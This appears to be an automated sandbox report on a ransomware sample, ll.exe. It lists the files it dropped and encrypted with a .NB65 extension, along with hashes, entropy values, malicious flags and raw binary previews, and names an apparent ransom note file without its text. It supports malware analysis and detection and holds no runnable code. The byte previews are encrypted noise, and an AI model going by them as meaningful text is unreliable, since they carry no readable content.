Preview:.2.3.2.....yd.xL..<Vwk.d.cS.|..... ..fi.-.e.9e.......3u....9t..%...3X<.j|..W.M)lo....$N..;q;.:>hgb...".W.H,zv/].!.....]6B./@.3&.>......C.w.S..z:>.....zs....3.C.~..\@N..R. .+.1......:.C.l(....G*.6.u.r...J.....7.]U.hqH..,.2......2=..m...n'...~.]f}Xil../...A.O.[..B08.WuN}...*.Dt..~1<.5..A....+G5@.v..W.8.?W.(.>..W.#.l"P..wRQyp..*H..0..^.K ..f72.f3T.....r..~!....:..Y?Sl...2p.*.......2....S....:..k....._.B...>.....%._....]R....~Z.CEt....]..A..$..U...T..c4.A.a.,Z.....[sb.....WM_,,..3R../...0-!...]...F......F}......A.V.....&6.O#.{.#....O....{.?..-.7.m$.g..%V`.7.(.gI.vpO.:._~.K..p.?u.\.<6.K...-%.],...|G.e..n..k..,...?......mh..n..p.]v]Q....sq....],...lC....f........2 lK.ZA...o/[..8...R....a..S.oC..Om.D3.Z...&..T..`..0&...8.f..a.{..s.l..gG..?.w...i..O$k.a.^F=uQm.l......r.sJ....gI....{.....U.O..z?.og.;..{.ao.l...K.v;..].c....?.........<..[9..eBX0.39.!..x2..E.Y..ck..d...s.5..iZ.[........!..o.+..l.(...G.."..so.I.NO..$E...0....Z..%...KA;.Mu1..7D.......

C:\Program Files (x86)\autoit3\Include\Word.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33455
Entropy (8bit):7.993757015723213
Encrypted:true
SSDEEP:
MD5:17B913870197B17C45CD85C128651540
SHA1:6249DB1D00F69EB7FB15B2A8B19755B1245B4F41
SHA-256:C53D4B215CE3943BBC31FC3D1D695F3BFBF22F68909F83AB56A3B7C79ACEB3D5
SHA-512:CEC7C95B62E14464149FB50275B0E0494B3F7949461DD144F607C67A076EB277809BDAE06185E15238EA83E86F2F62CCF3BDB84AF9184509C00C6F89485115B2
Malicious:true
Preview:..M.H...[...O;.K=.1cm\...Y....*......1..H.l.'..Y.2.Y.e&@pF......gq.EB....'v....'.T.....#.U.....g{F.RZ{`|.+..U.~cCT..!..?..#P.xE .R....j..N..d.`.|..........UU...>..y.E.s.4.+...?.e....0...y.S.da..[2...fX....?`p...yH.|....V)....:.s.V....h..zu.Uh=./.,....u+..2..'5....E.,.I...5...(......]....| ..R......<.`J.A..Bt.~.t./4[.3.q.mIZH.|.U&X2...Xe..ZH..D.Q.\.L.,....L....`..K.Ze7.z..s...[..3fS.~..?...~.|=O0E.C..$......Z..W.j...n-=!7.....$6.........4.j....a...S..y<(i..}....>.]..r..s... ..0._..t.._..{...G....*.....p.Vk:....!.Y.W....?..P..rl......."..MNR3..{.V.....\.>..>......G.3n.p.h<p..U..e~.E...k^+.....=6..\Z.....}.....yg....K...f..H.I.'...b.........$@...0B.Q...[N..]J..[...a.k5o.Um).........m.....B..hP.?.....b.:{..[F.........../..{..v|....r. ..~.D.Veg..3.|....8.pm.../*)....nG..f+....}.,)...*...*K.9.I.LM;t..X.uXt..)1.0kr....(......q.I...$.g......+..>....0?.xaY.qYp^a+.w.C..f...m>bv@k6.....@T..s ...;.1.B.A.......r..Q.h..0.a....N......a.....Q......i.l..l=..s

C:\Program Files (x86)\autoit3\Include\WordConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12202
Entropy (8bit):7.986953842541956
Encrypted:false
SSDEEP:
MD5:C187C8D4D35F07E1BA31351B2EC67981
SHA1:45E13BB75E8C9FA1AC2E83D2EA2942BF81722209
SHA-256:F919A89EAD88DC455DDBAC4360773D34EF8BBD16100FF56D246FDD658C040046
SHA-512:9CFFF2AD5C18E6D19D0D854DAAC1C970BF470513C16AC13AD5E0218856C0E5864D72F4E70798D9EEA77F58E65F3E4817AB15D53BBE3C81E5CA936C370B28B361
Malicious:false
Preview:k.PZ-.<.......!y.Kr.O.*.n..Z..J..<+v...S.....r.:..?..V.0....!...+..XY.v.r....^R..}T.D....6W.Tn...N.0...p...~Xq....../..>.1c..|.*..%..7.9..4hT...!*.pP+. . d`....j.!5ql..H.:...(wb..G..uLI..}...t.k.T...aT.....C..Z...z..Q........Iof.#......\..... S-T....E.U[....4w....49GW.x..$|G..A3.....+r.L...a3......j.B....o4?.B....=&....s..C."'n...q.P.?..."iz.u..n.h^*."..Y.g...M...._.k.l..a.s..c...{.p;.a..Fj.&...lCC...u..f.v.6..E.O....~+.X.F..=..).FC....R...>...PO......-.kWj}M..=..s..6...}Tb.;..;;iSt...............Z-.h...1..N.....{.....bR.\..eb.8b4..1...1f...c.:.Z..*..A.=Q..Pj=<v.........?.z.......q....!.'.b.#x...Y.V=\..K..f.S..7..X0.XA...).X.E....k*...%B.o...:.....e.w.G../~.........c.....-....Y.. ..nev!..T.{I...y........R.....5&rJE.,..5d.O..k{H.q.g......L..>...hZ.o..v....*......S.......>..mQ..&.. .k..Em..BG8P.*K&:.I...-qc%....'.....1d...?..=`s.. ................n==`....(}EG.u......5...J.&h....1I...W..,.....(>...+..^C52r.T...F./..,...9kpP..%._m..D

C:\Program Files (x86)\autoit3\Include\_ReadMe_.txt.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):748
Entropy (8bit):7.674815106583818
Encrypted:false
SSDEEP:
MD5:F80EB46AAD6CA71729F0E46BF1254FA9
SHA1:436ACA4A197AFCF6591F397B9B91D5C8AE9D605D
SHA-256:B2EEA730DA63E5ABE9FF3C97AAF4AF627F0B33CA9C73F2AE452567FEA5B5B3FA
SHA-512:54A90F42ACB219FD8AD31B276AFEC2124A0C0DDA0CF3B61C7B5B3869EADBC9DC849C0EE4F8B17F5A4734FF67EEEBB350871350F4ABEDC5AB12885A56B886E46C
Malicious:false
Preview:....$.2..o...<G....6mm....s..(P.............YSh.\/6....He...\3.;D4lB.j.......Z.q.K...4..H........[..V+F...s./..p.'.x..]T....X.[..J\....%\.O.oF.D......2u1@.Z<.%..;i.Q..z.....j..p..QY...XC.8.C.........jVH.....K.'.+(R.3.*.Zxndz..^...V....d.j.ey.......;=.(.....pI..f.O].....f.....MY.:.b..Z..!y..x)...k...'.Q4.B3sEd..dA.dV.T5.*..uC....p..}{....5.k@.)...2..N..5Z...-.+.\CN..6:.U.;yr.,Jg.E.3'.}4...R..T(5.r.*^.'.....-C....\j........>-~i....:.w. T3...(6..+.b*.W.{......E6...........n$.?ix.>|.[6..,..-........h(h..WRF...z..KN.3..v&\}E.~....3.....Az2W. .Fn.D\..>.m....._..X....k;.....8....r.~..n=S<._B...Y..NmC..EO.N.y...w.M.hir..+^..OFQ7!;..i.jb..c.K_..,.o..W..#.ye<Yf.^....y..V......A:...7.w..{V....C............$.........

C:\Program Files (x86)\autoit3\Include\analysistimer.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3085
Entropy (8bit):7.931794404491141
Encrypted:false
SSDEEP:
MD5:B2C813EA6D207A5B9925F8D1AA10B7ED
SHA1:08C519C1F1BCE0FC1475059DA2126E60ADECFE84
SHA-256:2C547FB0056C15F7B8C74AA7A925A8C42BC201FE525CD3F9D8C1C4A8C63984F0
SHA-512:B0547A15511B00FCBE45AFF33BA1FA0A782227FEFD2366C1DE617823DA4AC7F48160065D6211904B387EE3DB1CEA6CE5A38346EC792EAC5AB8B6500E004E3B15
Malicious:false
Preview:.!.5.d.8Z.;P..\!.D r.U)K7.w..w<...Z-;..Pf..x..z....22Z.^...gi...FZ2.7......N=.D.....rL&s.U.T....D..G..%.s..n...O`]iM....[v.....V...........M.Y.u....z1..j..!.......VfA..td..........|)1...a.;..?....;.G...an.(u.....R..........0|x...y.'..9...i..[....v.X..W....'.@..C.H>....hq..?.............;v5.t..2]V....yz.7d..=.....t..N j$..*.\...E..[{v..M&1..]...@).w..W...q-J3...../P..........0...J.....v....iR.........U..&s.ks.F..0...$....U..I.))..;....8.*.3?.Y4...-...(...M..n.....k..45i.7.LW..\..a..<].|.....s...d.....%..^e.i.z.Q..2y......rK..3eI.s.!..A.w..#....1=.).|..=.\..a.^..N..z....;.R..L.....<...6,..v@n.....?.|.+....?.....e,..9...._w....[e...5(...d..&.I...mzI.&.(\....*...,c......!].:qr.m..........^3.2...|..D.....?kP.J+.U....l...d.|".....[.....6.......\..JH..h.......z4.[..a......&..@.7..%9Su+7..R...g...X..Y.~..bvJ."...<..%k-.G.7..t...x6..v..D......9.p. ...t.......j....e.....%.P..;S.ZL..d..B..D.ihpf.#vBw..y.w*Wi..v.."Ub.z......>.x.B...9..R.k..P.`

C:\Program Files (x86)\autoit3\Include\cleanup.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1880
Entropy (8bit):7.8751535980877465
Encrypted:false
SSDEEP:
MD5:16FEFD57B88C40084BACD144F605C750
SHA1:01FD170DB2F996C97BDFEBA1E51ADC45F89E2D86
SHA-256:4C64A73C03760EFA3EE2D0934CDB90247E44BACD988C676B4DC162A5BC0666A1
SHA-512:1EEEC012B2D903871C1F9324DA48B0E7D34B14E29B86766AC700A27A6CB8B98B58A6D356E5BF18D4796370FAF4EE8D3A2A846F836E315A00AC8434BBB3E47292
Malicious:false
Preview:..=i..-v..w.#.*I.H..N;`%r..\r...??..H%...r..H'H..!...S.......DCI.]..0...>(..I>.....;e...yq.~s...y.........m[...V.vD..H...Z....li....:p.$...R..>..fYE+..m..2..........]....|s.n.9........E.....JG..R......w...9..s..G..r....b..@.og.o:..Y.+,\(.d.G.i .<//v.B...(#)..-..x......i...i...b./.w......Q!..d..+..;..>e.5.{.. ..O.p.5|.I}.....[.........b-..e...;Aw.T.i..Z.x..@.t.*....H. ....v...9p..}...0sb...X.{..*..N].....|.....5x.R....d......."t..<.T..F...)..2H..".g.......JcfN...)."oH.e.Xw{...k\.s...+?}.^:......&7.C...i..u..........:2Y......8......lI.....:&...1...Q[F..........C.-......$....$=.UV.M@.u.8E..GK..o%.3Q@:n.!Z._....wQ...2...6..T.#....>.Z...;.cY..M.3.Y.7..h....q...,..b..s.#J.=. ..~WU..| .v..T..*..p>...Y...............b...e...[.w....o,.......,zod...k:.j..nTE.4...T..\.0.2......{..UcV...A..?..K.... ....._;...N.Rx<.._R.*...u..$..!.&h.x........$.%.B)yX.k,.g....sY.p.L..8.<...o.XJ..!....9..TC..^..c..o.'..........T.\.b.. ...Iyo..'..f7..W...CO.d

C:\Program Files (x86)\autoit3\Include\helper.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM)
Category:dropped
Size (bytes):21333
Entropy (8bit):7.99021460723909
Encrypted:true
SSDEEP:
MD5:CAC37454DFD4252CB4DD17C7102995C4
SHA1:84C4B6502CE27B59730FC30B35572F81157F486D
SHA-256:4559FEFD43402C189C7070C88746B02308B7B1B7E20169FD6104E30CE1D1C49F
SHA-512:49BA03C2BD272C3C146EA574F6CEA9AE500F9A2D3CFDAA1B55D7D28AE4E6428CF7398D529261F441E38ACF2FFC54ADCF49C882D1E0508FBF0D45F9424AD0F53A
Malicious:true
Preview:..!..~.H+2.j.?.I....C....v.O4.A.5D7....nh...NDLR......,...i.v.R.{.w..s..E,..t..1.I.g..ve....92'..9...^.yyxk..nT.4.&.+_.....\.......vS.+...&v...p`.2.a.<'.n./....Bl....9.`C..w.:..F...Y/;+|..4nQ.H.U;...."l...-U;.x.@... ..(59..YD"P~..i6..,..[..&....LQ..&.C..........RW&c~..>...S...u..3.&.l.|......B.j../0...5c.-.._......tWX..5>@...@.2...N...{.nGx.).......J.}.K.TB.*..iV...id.8..z.b>..+B..Y{._Z.8..*m.x.<..H.....w1..ok' .".u'..U0k.7*.....t...$....V..$.l..*.A"9.eF.+C......y....r6G.F=T_m4O.F\.NHc.r|.]y.$v......v...H...F....b.P......o..Me.(A...h......D......x.}.j#.'L........HC..c@.}>.k...0g'Ap^...W... &)}.R\.....Y.....T..N.I............eH.R.rG.q.hp.y.y..w...z.....<....{.....e.49.].........f...L.y....S....B.|..A{.V.......S....^..Rs..J].:...uh...E.p...a....... ..w........@....b.}..v..6q....h..]=BY..2.&vrs....B)..;_......F^.x.'../.".p.8t...%$..R^8*&..K..c.7....R.>3.Rn.7)...sq.u.Ws.....kQ........@P....{A.~qN.I.2.%c.'=_.t.,.Y/..:....e......oW7..ks.~do

C:\Program Files (x86)\autoit3\Include\htmlfetcher.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5726
Entropy (8bit):7.964140269296911
Encrypted:false
SSDEEP:
MD5:86C62C7E14702B8E34ADCAB3EDD31E3E
SHA1:269AC277D331FDF3F78C81D241D11674D3181843
SHA-256:57AB5D2B44FA00524DFA45F001B1DABE2090936F25F197F17AAFCD14160E2200
SHA-512:C0AB944A2CA306D6B18085179C1D078F3B2B53B1C149AF25F4F9546109CE60077A3B14A00D4B1DA3FB0D5116589E744CB9CB2FF37B7281C2E38626D6F3B55AB5
Malicious:false
Preview:.g...]..~..m..b.;$.....h..#.t..kL...g.4....v.+...x..i..."..9p...R;..m...Q....DI...L.!..o.:..'o.(j.....6...X..l....R.....w.=..G.ht..{.5U.....^w.:^.......~.j.D.....=!.I.5..L...n!...s.gb................L6....A.r...O.ml.sy..I..z...[.._@...M.....X+.a1...t.Lo.Jx.v.!I...]BX.....T..a.......|..zj'... F.w..[.G.......|..l..x|...O...<./#...'0....../.=lvZB....S6>{..J.TS..i.Q.Bxt.b.a%7..D...........Xih.y...D.^1.@=;.8.g#...^.mc....CM...J....P.o.q..&.n....oD9yM...J.I9:^A.$....Qa.7............6%S..`.f...y=.#....%.a.N..vaG.t..$#.t..%...'.@.H.4..A}.:T{H.%..+)..b...w.....?.?.6|Z.P.5mi.....6Y...;n.-..".$.q..B...$)....|.9...O4.Zt.i.7..P=<q...|@......;.9.v......>Z..o.9!."..x.}j.._... ........'.g...#..0n.ag.;...j|:jN.KN....fmt.D)..W..5.....s*..Wka.wRt.44..-......<:..'\...#...W[V.[lPpR.@...&o.d.7D...4g.NMX...=.;...4.O....s...".W.....).$......k\B8B0.u........o.../..4.....,..h..{...k.......D+... .. ...5...s....!4..a.......0.] ..3[.0(........$|..|V...

C:\Program Files (x86)\autoit3\Include\ie.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):154079
Entropy (8bit):7.998856041089511
Encrypted:true
SSDEEP:
MD5:DA2B66BADA6EBE122F59A119FCD3DBDB
SHA1:D03B2D9225148FC0D8BA2BFA5242AA5754700F82
SHA-256:40E21F673FF4745ECCEE74499045224BFAA7E819BE540B8350D0DDA53C519092
SHA-512:88DC5288E89971E8FE068750F36BC5EED679229856189576B83B803840870D96328483486405EB37C1FEB73160B424916E8A90012C39D694905A80A8ED195BC1
Malicious:true
Preview:....].k...x..O#V...h.$..\.qy.%.Q....B...M}..W. .u...EL...t..P..T.QZ..W?..d.%I]E..k..2..V.._..S..h1...At....&..S].|..u.G...^S..b.3]M..w{Y).M....[......I[.\.....&..].p......`.....x....:.X....C.......1...@...T.n-..2^z.s....uG$.....6..W.....BYT...3..q.1+...a.eZ...(+..&"..k.,...P[!.D].f.ms4.Q.E..O.`...j.p...<.:.B.....>.....6.yw?..........7..b..Y~....^...J..y.^.N....a..T...*..a.&.2...JU6..42.H..c....|.!P.Rm.............SBg.......f|.)*.~....e....).".>..|...8..m..S.o.L]...=.........).U.>...."..3+...).r.^...........$X.W-.[..Y.......{.xe..A4]...G .n...U.....`.%f*Bj.F.B..lo..!..&.V....6..z.Ysi.j.. .k|.4@...rz...m..m...O.j.F..Y...b.6.....\o...X......g.B.7....uD/*\ka.]nr..|..l.',.!.lD;0.......==.l~...0...z2.......3(8Q[,R.E..B!zZ..R.B.6K+.3./..U.....n.. E..zE....eG?.F...]..3R....#..$~.....=..Va..E...M..q.cS,.........7...K.Gp^#..~..z..m...~0...S...M8..)..'..{..sv@.'..]..t....\.....R8.......}=.....C..z#.fS......`F..........A....b...y.........bH..

C:\Program Files (x86)\autoit3\Include\liveprocess.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3182
Entropy (8bit):7.929820703312438
Encrypted:false
SSDEEP:
MD5:52223D5F1FD695BA1A29BCF966571BE7
SHA1:96F277FF94ACEEB9F4762030E211F48D26AE53D0
SHA-256:FFD37911D0B4E695DF51B54243E1B3101093A2BE6C3591A379F6277C1A702609
SHA-512:4F502A7CB06455BBCCD6AA6433D060D027EEF339D8D708E57BE2726F5BEA180BC4D04FB144BF14DB1341A478C10C4E44974F1466D87D7FEBC1D6E2B531011A31
Malicious:false
Preview:F/T.~$..M.U?... 5.?..o.;.m......!2.. 1....R.}~.>[...=....e~.e..`.K+J.f3..x..xz.|....$.f..33...B...o....r...#.W..u.P.y..W.qX........Sfn..f......Q..2......P.l....=|.r....1....r..[`..)2O.......*2....O}...jd.J.....x.fz....!....<n".af5...+)'..{.....@.[.C.].}.,......_........}.)J.. .....Hk...>?9.y:./...1.:..q..R.~W....G.),3(..O....`...t#....{W.,.D.h...8g..T.......UCn...S8...c..WJg....(.kE....9....#...4.G]2d..=.u..e\..7.PJ..{.Z9.8.r.E....O*.JA...R..g....v...8uZ..<.M5....~]9..5...T..%..q.....&.<...d..7.G.7..Ky.?..,_.Y.SW.......q...+.@8.\.|cVq-.]...8..a....O.a..#.|...'<.[b...4;v..qL..y_.z.}.y 5m..U[..?.l..uJ..;.._6nq%.x..V.k......<....^..,y[.......T~...=.0.!R.%......6:.M.r..t....P.7...f..............a..#..>....Dz.d<. .7.T[.$..j.~.Y...X5....~Qo.1..RRE..$..y.WJ.N..A.=..bx.|2f`F.xP.{.e...................p.H..t...K..h.V....!..z"..1. .c%W...B..."Y....n4.l....I%.PF'G.E1.{....OD.~.|5>j..V....K..J&.>.o2x..V....mm.6ejX....>...qp..[7..y-....N&.. ;..h..> ..1.

C:\Program Files (x86)\autoit3\SciTE\au3.keywords.properties.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):91845
Entropy (8bit):7.997859200585987
Encrypted:true
SSDEEP:
MD5:5E58381FC3264F562D31860ACD81EC0E
SHA1:B9A14E738494227FEEC052452E15C144684F11DA
SHA-256:85CAB6382202E6B8B459B34E8557F701CD670AE22CEF5202CEB99C8025A7C80C
SHA-512:5DA333FD4FD57D34D6336EC9F05D537B73E4272C06398B060FD4E52660EAEA97F21D9D8293244244100215114A295DC8A95C18831C0356A52614E888F4DF3C7A
Malicious:true
Preview:.q...X..=1c..,....k.....4....d..C...*.......-2.j..Pi..............U".~..`f.8...j.|.d.A..Z +:.....h..c&[G/.*.......5"C?...7.....F...s[.)....U.$y..bI..5...lq.%_.O..2.uP\.,....If...=..No'c..<.....L#QY...R6....g....O<.*....*..Gh...B.a....;...OI.W..v.....z)..~..0u(.......N..<.|..D...........~......N...\...2j7...ea..SS.......v.UF.../.s!.T..'.^...R..|./B..%+.w.Q..B.)T.I.Y....fOt.........v..O...r.5..2.....[Z..U.<.w......(..1g..6...].a..x..q.d.. .k\.u..Zz.8...9..G'.CC.[L...S9.Nk.~,.'..D..I]W.l....[.C..... s.}bi..-...Z...3o...7[..@.6.z.%..f.8..,*..n...O.3.........*.....W....>......5.v+4S.q.}....78.......x..r...e.J...f......2.........z..'.g@....+c..ndE.R6..,..o.rP..y.v9'@.........Rb..!..C.&`HUe....TU{..me./....CE.R)f....0.T.OrS.....E.kB!/.'.P..Y.[..%..Y~.D...r.J..4..$.R?z.+.;c..|.lq.....G...8t.m....a... .^.(R.....X......|N........Q.K.io.....G.N./..W...T....k...4;.(.............%r.C..WA..Y=.....k..]...o.=.kj<!.k.../.I....)...Od..nl.=5..c!....9.&.o1.....

C:\Program Files (x86)\common files\DESIGNER\MSADDNDR.OLB.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):15086
Entropy (8bit):7.9897501641100845
Encrypted:false
SSDEEP:
MD5:4C59942C8BB162BAA270BC8D352C4F71
SHA1:634BFDFA6C9A88C885D080980AE6E234EF36EDDC
SHA-256:AE3DEEBE3C1DBB2CBE2E9CCC8808DBC19917F724769C0DA3C235216542ABA36B
SHA-512:1A3949980EA0A06B7FDE06B07B0D9A9D2713096440E50C7FB0E157BE15EEFE45C47754BA4721494B7AA0AC2D3F768431E2281118A46D3FE201E890A36A231BDA
Malicious:false
Preview:.%.Gr.w.6`q.z..!.}....1..........V...@..J...o2.H.J..S{A_..5... K..@..;f....V$."P5m2.n>..twd.<.Q&.m.>..V..,..t..sk..K..w...<*....;;....u......?D....pQ._r...M*..Hmy..P"...{...gq.))...}...?..x4.vZ.....3\.;..z.....cIEX......8.....:.T@l.<f.d.-.._..C..Q..V....g.F...N...4......l.U8.Lu..I2b..(...h.\........($..k.9.X..M.....iT..9....b...z4...53 ...)m+....Ky}...L....x?...XH..m._2....)..AK<....-l.f0..{0.P..Y.Ls@2. ..k..u.$..!.O2..-0].A6.D1..Q..3].8`....z..?....P.s.A..9..b..=..2G&.L+.......^..5 .....g.[.>`.j_'"..d...T..R.$C...j.....x....p.|...`.S...i}-..(4..#^..|..Q........;.c.i.b......g.O...r.v..B..".q!M.v.4.}..g..d...........|TzZ.<=....\.k...Y....m.d/k.......l......(.V....i.6...-sC....<#B..N2.`L....A...i.g.T4O.....w.A.-(...VL....t=.u.M[`R..'.t...N....yK........9.D...y.r.yM.>......>..r...O.*...."/....F....... ....q.V..I..~...6.g.A..Y...o..Oj.?8.0..HA..*.;.D...(.....t.r .|...5....Y.w...,.......G7jk...pO..n.XYT.1......w...4..>{J..;[....i..3..8..

C:\Program Files (x86)\desktop.ini

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.643984974941714
Encrypted:false
SSDEEP:
MD5:5D008BD187779731FD3CB24A05C5A061
SHA1:E78A39AD9068054DF4C90C470A47BFF07C6F0E7A
SHA-256:200CC50BBD38C60737FA5F298645EDA700F2785BF2CCB448384C8A38D3B95FE3
SHA-512:42F0F1F373079DF0C01814B934D40D13AE1C2E983B3555456F74F58A62F9AB583D40216B6BCE8584D0AF4216FCD4417F34FD5AC3AE0FC9B3974E051F658FEC48
Malicious:false
Preview:.C.....@.z5S^".h.g.5.h.{eL .Vgm..oL.....^.#..v...r.{. {BDt...8.||a...$..C.....o..;.AK....RWVP{lN....3LW...fC...#:p.c.}LV.1i.................v.L*...d........1....L._v...J..X......`{t.....Rw#kb.E.nv..u.P\.....:b.....E........\N.W...).D...;.ZYv..B....TIH.c.....x..E.....Uo...y..........1..a9....,Er.(.*.<]o.e!|..zhVeG.p.c[YG..W|.q.........9..{.h[..b%...S..1.iY.}...;..gyegI..{.Q.......<...W..D..N...W.^.Z......>..W.v.....#.1..m_.<.PK...[.7.........Pt.);`Jw)3......9....K(...-o.k...O.{.XDu..r..]"[h.... ......Hk.Q+...|..c.\...Z~c...y.4J...(A/.f]...]'*e!@ULt.-....j..1.....!.n.B.Fb....Y.R...[Po....u....:..j..K.....N.....Nl...zMm.a...\4}9...n..E...K.|. ..@..............$.........

C:\Program Files (x86)\desktop.ini.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.643984974941714
Encrypted:false
SSDEEP:
MD5:5D008BD187779731FD3CB24A05C5A061
SHA1:E78A39AD9068054DF4C90C470A47BFF07C6F0E7A
SHA-256:200CC50BBD38C60737FA5F298645EDA700F2785BF2CCB448384C8A38D3B95FE3
SHA-512:42F0F1F373079DF0C01814B934D40D13AE1C2E983B3555456F74F58A62F9AB583D40216B6BCE8584D0AF4216FCD4417F34FD5AC3AE0FC9B3974E051F658FEC48
Malicious:false
Preview:.C.....@.z5S^".h.g.5.h.{eL .Vgm..oL.....^.#..v...r.{. {BDt...8.||a...$..C.....o..;.AK....RWVP{lN....3LW...fC...#:p.c.}LV.1i.................v.L*...d........1....L._v...J..X......`{t.....Rw#kb.E.nv..u.P\.....:b.....E........\N.W...).D...;.ZYv..B....TIH.c.....x..E.....Uo...y..........1..a9....,Er.(.*.<]o.e!|..zhVeG.p.c[YG..W|.q.........9..{.h[..b%...S..1.iY.}...;..gyegI..{.Q.......<...W..D..N...W.^.Z......>..W.v.....#.1..m_.<.PK...[.7.........Pt.);`Jw)3......9....K(...-o.k...O.{.XDu..r..]"[h.... ......Hk.Q+...|..c.\...Z~c...y.4J...(A/.f]...]'*e!@ULt.-....j..1.....!.n.B.Fb....Y.R...[Po....u....:..j..K.....N.....Nl...zMm.a...\4}9...n..E...K.|. ..@..............$.........

C:\Program Files (x86)\google\Update\GoogleUpdate.bk.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):156638
Entropy (8bit):7.998774424320839
Encrypted:true
SSDEEP:
MD5:FCAFDC1758A4F76F90CD6191B03468E5
SHA1:B6E9E96F78EAE945445D762DDE808672ED0D8EA6
SHA-256:6951E738C9E584B91B30B923A18E03FDA655D0874F8D5ADCEBFD043A311521EB
SHA-512:A82F93949533CBBE4E55AF8FC0ED4FDDA4A8C0DB0869C4E27A0346460454BD9CEE1AE6117263EB98E3BD92AC6E5CE300E808C1D9580AC9FE82E8A1EA730E7DF0
Malicious:true
Preview:7.'.&..c...C_5..WL~1..~-..F.}:.....P..S....!..........[...E...wfi...z%3..62...-I.y. .~-P..?c....v..........xU...;...........[Q1.Z[...}..oz.....t....N.1_.3.0t..........| ..I....."{.ch..@.e6q .!o.......{..E....V.5......Tg....e.YH.)7...o..%...$..k.U...Y.R.M..wB+#.M.?..M84'0V,.......Xx.P......_....L.....?..E...f...Q-.2i..0..qK.Hnf-.'c7...,.q..8...Te..`I..X..?i.......[.....[0..l...<*....x.!.T...{..p....g.0...kA..e..k`d.=.L....F+....V.@.c.Z ..l.I_...ihH....i.z.;M>t'-..P..@..../.g....V|..("c...V.............7.oh8....|..nD2N..!...e.9W3..#7.]...h.z."....0.../8..Icg.d.*X.w.....m.s......^.^6...+)R-.l..e..].........&`.D.\.....-N.1".../..q.....#..o.....v..^G..{u:.m...;.9..#"|y............T|.K..|@..........p.J6.a}..oC..z*.?..M.9.W..G....;<r..9.+.....hX..p...]....Q...g^,.<.A.._R\%-.r..hjm..|y.....N..[%..t....8..!x$...(.<.O.%\.2.....7o'K....g.q9...L..fr..., .Y....J(.....H0.}x.#....&*s{..U0.....qfm)..i..~0....u`..uU.7.C..fJ.}.9...+^...r.g............[b

C:\Program Files (x86)\internet explorer\SIGNUP\install.ins.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):986
Entropy (8bit):7.760329238168114
Encrypted:false
SSDEEP:
MD5:0A8D4C8A918B151A30C3857AB7B1AE1E
SHA1:9A8AB90E158429AEAF8632390C56F758C3657BFD
SHA-256:3D9127B412523A239D2D0DDA9848237772737E9C52CE0FF4310464235442D58F
SHA-512:BE3BBBC54263A0D5EA80D43D31B4D6EFCE1E95977724EBE65820A2BE8C0C13DC88F4ABEB4E5221B69AA42AC70CF920646BC043050D49D3B3CFA10C1D12BBA691
Malicious:false
Preview:y o..0.`.^..n..d..P."..".K....l4HT...H.8,..-,.U..H.u.... %R..D..(.c....[..j..W.#.:...?.xbtN...'.\.(...^...K.e..1..._]..I=.....L.....T.W...k.....`....]...~*..'r..Vk....b..2.l5...B.Z.w;t..}..u.......J.....:.t9DF..&{.W._ o.c5Eg..0..,..N...q...`..;d....&...\.....>..L.G<.M;....r.:u..c.d... ....+.G.....;t..L..aa.....H..4.G.....i.%.H.gEY....K".bS>.KX.)..6......u.v1..~Q.|.....X.F.D..n..Y."@x.!..xK........*WD=w.....{V.y.B.Y.).lp!..a...`r[.K8..l{..k....2..j.7...T..;.K..,k.i>C.C.k`U.F.....-..zn.}..w..\....o..J.".......o..o..A..-./*.=..^tju_..e....`?w..P.ejW7=.%.j.p0.l..#.#...gM....g.o......7..Y.-V.....z.Dh5...>j.:.>+.5......Lv.,WZ....fA.G'.....u.S...V/vV..U......U.N....S\.*..w.-.V........)...&{*.@K.&|........D.<b5.$....~..k|_3.......t.Y......]..z...C.k.8.0.....%...~;..9..9..e...I...q.......4oG7[..L?.:.i".c.77.M......p.'.Gf.W8.*o.2crc..c...D..F....#.#B#........Y......C...>....x.FH..b....m]....Y..nJ..j.o.[.#.....+.T............$.........

C:\Program Files (x86)\jDownloader\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
